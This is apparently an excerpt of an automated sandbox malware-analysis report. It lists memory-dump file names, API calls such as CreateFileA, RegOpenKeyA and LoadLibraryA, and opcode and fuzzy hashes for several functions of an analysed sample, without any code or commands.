Associated: 00000004.00000002.2144276866.00000000002A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144303588.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144326632.00000000002B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144351109.00000000002C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144374468.00000000002C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144408613.00000000002F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144431444.00000000002F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000302000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000309000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144502115.0000000000318000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144526017.000000000031A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_60000_QG5URI6Q0ZNU9FS6XT6N3IH7I.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bce1fda87419294b681496cd072c11e5269e972a0b4b51790831e4b84a7abdcf
Instruction ID: 2161fc060180427eacbdac83d3b787e5dc6bd9fb6a2ff665f5ad11a3a3e281c1
Opcode Fuzzy Hash: bce1fda87419294b681496cd072c11e5269e972a0b4b51790831e4b84a7abdcf
Instruction Fuzzy Hash: 5C4139B210C200AFE3056F69E885A7EFBE8FF94721F124C2DE6C582210D77445958B57

Function 001EBACE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(1E00C600), ref: 001EBB0F

Strings

C, xrefs: 001EBD91
#, xrefs: 001EBB32

Memory Dump Source

Source File: 00000004.00000002.2143473592.00000000001E7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00060000, based on PE: true

Associated: 00000004.00000002.2143161409.0000000000060000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143191641.0000000000062000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143216597.0000000000066000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143240241.000000000006A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143265619.0000000000076000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143369862.00000000001CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143394997.00000000001CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143422672.00000000001E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143446054.00000000001E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143473592.00000000001F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143528276.00000000001F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143551894.00000000001F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143577038.0000000000205000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143600486.0000000000208000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143621887.0000000000209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143644072.000000000020A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143667647.000000000020B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143723029.000000000020C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143750923.0000000000221000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143847299.000000000022B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143871850.000000000022D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143896838.0000000000235000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143922129.0000000000242000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143945606.0000000000249000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143974577.0000000000260000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143997561.0000000000266000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144019757.0000000000267000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144043544.0000000000270000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144067413.000000000027F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144089947.0000000000281000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144112200.0000000000282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144135437.0000000000285000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144158853.000000000028C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144181428.000000000028F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144206086.0000000000296000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144230105.000000000029A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144253417.00000000002A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144276866.00000000002A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144303588.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144326632.00000000002B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144351109.00000000002C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144374468.00000000002C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144408613.00000000002F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144431444.00000000002F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000302000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000309000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144502115.0000000000318000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144526017.000000000031A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_60000_QG5URI6Q0ZNU9FS6XT6N3IH7I.jbxd

Similarity

API ID: CreateFile
String ID: #$C
API String ID: 823142352-3682062375
Opcode ID: 194edf1ad8a30b1a46b8afbcdf9c8ef9e55c958c7bda3adb0e645d792c711ccb
Instruction ID: d775a7a104a9b4e1bc51e9ccee4968133dee2466230a7c2e3ba431a4486f7f6d
Opcode Fuzzy Hash: 194edf1ad8a30b1a46b8afbcdf9c8ef9e55c958c7bda3adb0e645d792c711ccb
Instruction Fuzzy Hash: 08216BB654C68AAEC7168F5798845EF7FE9FB53330B30043EE40297603E3A64D159B64

Function 001F493C Relevance: 4.6, APIs: 3, Instructions: 57
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 001F4F56
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 001F4F7D
GetNativeSystemInfo.KERNELBASE(?), ref: 001F4FD4

Memory Dump Source

Source File: 00000004.00000002.2143473592.00000000001F3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00060000, based on PE: true

Associated: 00000004.00000002.2143161409.0000000000060000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143191641.0000000000062000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143216597.0000000000066000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143240241.000000000006A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143265619.0000000000076000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143369862.00000000001CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143394997.00000000001CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143422672.00000000001E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143446054.00000000001E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143473592.00000000001E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143528276.00000000001F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143551894.00000000001F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143577038.0000000000205000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143600486.0000000000208000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143621887.0000000000209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143644072.000000000020A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143667647.000000000020B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143723029.000000000020C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143750923.0000000000221000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143847299.000000000022B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143871850.000000000022D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143896838.0000000000235000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143922129.0000000000242000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143945606.0000000000249000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143974577.0000000000260000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143997561.0000000000266000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144019757.0000000000267000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144043544.0000000000270000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144067413.000000000027F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144089947.0000000000281000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144112200.0000000000282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144135437.0000000000285000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144158853.000000000028C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144181428.000000000028F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144206086.0000000000296000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144230105.000000000029A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144253417.00000000002A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144276866.00000000002A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144303588.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144326632.00000000002B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144351109.00000000002C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144374468.00000000002C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144408613.00000000002F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144431444.00000000002F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000302000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000309000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144502115.0000000000318000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144526017.000000000031A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_60000_QG5URI6Q0ZNU9FS6XT6N3IH7I.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: cedc070b8b8f672729b53e00567e7e0b5c8bdc097642cad6c73c95fe4aace01a
Instruction ID: 6913c1b32d3651a23a4e05b424ae2981ce4650649b66b892e16df68af89e9d47
Opcode Fuzzy Hash: cedc070b8b8f672729b53e00567e7e0b5c8bdc097642cad6c73c95fe4aace01a
Instruction Fuzzy Hash: 7421257241020E9FDF11DF60C848AEF3BA9EF06314F100825EA4596951EBB64CB49F8D

Function 001E76BA Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 145
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 001E76BA

Strings

Vq{8, xrefs: 001E77A1

Memory Dump Source

Source File: 00000004.00000002.2143473592.00000000001E7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00060000, based on PE: true

Associated: 00000004.00000002.2143161409.0000000000060000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143191641.0000000000062000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143216597.0000000000066000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143240241.000000000006A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143265619.0000000000076000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143369862.00000000001CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143394997.00000000001CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143422672.00000000001E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143446054.00000000001E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143473592.00000000001F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143528276.00000000001F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143551894.00000000001F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143577038.0000000000205000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143600486.0000000000208000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143621887.0000000000209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143644072.000000000020A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143667647.000000000020B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143723029.000000000020C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143750923.0000000000221000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143847299.000000000022B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143871850.000000000022D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143896838.0000000000235000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143922129.0000000000242000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143945606.0000000000249000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143974577.0000000000260000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143997561.0000000000266000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144019757.0000000000267000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144043544.0000000000270000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144067413.000000000027F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144089947.0000000000281000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144112200.0000000000282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144135437.0000000000285000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144158853.000000000028C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144181428.000000000028F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144206086.0000000000296000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144230105.000000000029A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144253417.00000000002A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144276866.00000000002A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144303588.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144326632.00000000002B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144351109.00000000002C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144374468.00000000002C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144408613.00000000002F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144431444.00000000002F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000302000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000309000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144502115.0000000000318000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144526017.000000000031A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_60000_QG5URI6Q0ZNU9FS6XT6N3IH7I.jbxd

Similarity

API ID: LibraryLoad
String ID: Vq{8
API String ID: 1029625771-2128123302
Opcode ID: 45c07e11ee03795b3f0dca0ba24b903046f052f1ef7cda84ad156d6dd943b24d
Instruction ID: 95cc62bf60b63dcb0b027ad563795d581bf78df518fef2a84b1ee222a7850bde
Opcode Fuzzy Hash: 45c07e11ee03795b3f0dca0ba24b903046f052f1ef7cda84ad156d6dd943b24d
Instruction Fuzzy Hash: 3B41BDB240C6409FE706AF29C88167EFBF5EF89310F16886DE5C687611E3318844CB67

Function 001EBADE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(1E00C600), ref: 001EBB0F

Strings

#, xrefs: 001EBB32

Memory Dump Source

Source File: 00000004.00000002.2143473592.00000000001E7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00060000, based on PE: true

Associated: 00000004.00000002.2143161409.0000000000060000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143191641.0000000000062000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143216597.0000000000066000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143240241.000000000006A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143265619.0000000000076000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143369862.00000000001CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143394997.00000000001CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143422672.00000000001E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143446054.00000000001E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143473592.00000000001F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143528276.00000000001F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143551894.00000000001F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143577038.0000000000205000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143600486.0000000000208000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143621887.0000000000209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143644072.000000000020A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143667647.000000000020B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143723029.000000000020C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143750923.0000000000221000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143847299.000000000022B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143871850.000000000022D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143896838.0000000000235000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143922129.0000000000242000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143945606.0000000000249000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143974577.0000000000260000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143997561.0000000000266000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144019757.0000000000267000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144043544.0000000000270000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144067413.000000000027F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144089947.0000000000281000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144112200.0000000000282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144135437.0000000000285000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144158853.000000000028C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144181428.000000000028F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144206086.0000000000296000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144230105.000000000029A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144253417.00000000002A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144276866.00000000002A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144303588.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144326632.00000000002B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144351109.00000000002C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144374468.00000000002C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144408613.00000000002F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144431444.00000000002F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000302000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000309000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144502115.0000000000318000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144526017.000000000031A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_60000_QG5URI6Q0ZNU9FS6XT6N3IH7I.jbxd

Similarity

API ID: CreateFile
String ID: #
API String ID: 823142352-1885708031
Opcode ID: bfafbd3b2083ec36766f5137ec3aa9db4713be1d4e504ef3d158c28565b5179f
Instruction ID: f5526cf8dd1f8e2116a21e7d4e4836ef116978b4ceb15c34f42685894786ae58
Opcode Fuzzy Hash: bfafbd3b2083ec36766f5137ec3aa9db4713be1d4e504ef3d158c28565b5179f
Instruction Fuzzy Hash: A6F0A73180979E5ECB309F75CCA1A9FBFA5FE9232571454AFE4409A512C3364924CB51

Function 001EB7AF Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 001EB871

Memory Dump Source

Source File: 00000004.00000002.2143473592.00000000001E7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00060000, based on PE: true

Associated: 00000004.00000002.2143161409.0000000000060000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143191641.0000000000062000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143216597.0000000000066000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143240241.000000000006A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143265619.0000000000076000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143369862.00000000001CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143394997.00000000001CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143422672.00000000001E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143446054.00000000001E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143473592.00000000001F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143528276.00000000001F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143551894.00000000001F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143577038.0000000000205000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143600486.0000000000208000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143621887.0000000000209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143644072.000000000020A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143667647.000000000020B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143723029.000000000020C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143750923.0000000000221000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143847299.000000000022B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143871850.000000000022D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143896838.0000000000235000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143922129.0000000000242000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143945606.0000000000249000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143974577.0000000000260000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143997561.0000000000266000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144019757.0000000000267000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144043544.0000000000270000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144067413.000000000027F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144089947.0000000000281000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144112200.0000000000282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144135437.0000000000285000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144158853.000000000028C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144181428.000000000028F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144206086.0000000000296000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144230105.000000000029A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144253417.00000000002A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144276866.00000000002A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144303588.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144326632.00000000002B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144351109.00000000002C6000.00000080.00000001.01000000.00000006.sdmpDownload File
